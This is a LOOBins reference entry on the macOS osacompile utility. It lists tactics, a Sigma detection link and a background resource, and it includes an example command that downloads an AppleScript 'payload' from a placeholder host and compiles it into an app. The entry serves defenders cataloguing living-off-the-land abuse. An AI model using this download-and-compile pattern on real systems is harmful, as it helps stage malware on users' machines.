# osacompile

> Compile AppleScripts or OSA language scripts.

osacompile is a utility used to compile scripts into executables. It's a component of Open Scripting Architecture (OSA) that Apple uses for its scripting languages, like AppleScript and JavaScript for Automation (JXA). osacompile accepts AppleScript code as input and produces a compiled script file, which can be either a script file (.scpt), an app (.app), a droplet, or a script bundle.

- Page: https://loobins.io/binaries/osacompile/
- Author: Brendan Chamberlain (@infosecB)
- Created: 2023-05-14
- Tactics: Resource Development, Command and Control

## Paths

- `/usr/bin/osacompile`

## Example Use Cases

### Download and compile a payload

The following command downloads an applescript payload from getpayload.com and compiles it into an app.

```bash
curl https://getpayload.com/payload_code.apple_script && osacompile -x -e payload_code.apple_script -o payload.app
```

- Tactics: Resource Development, Command and Control
- Tags: xcsset

## Detections

- [Sigma: In-Memory Download And Compile Of Payloads (experimental/pending)](https://github.com/SigmaHQ/sigma/pull/4127/commits/f4b0264a83e5f47473029e26dc0879fb196a7d07)

## Resources

- [A bundle of nerves: Tweaking macOS security controls to thwart application bundle manipulation](https://redcanary.com/blog/mac-application-bundles/)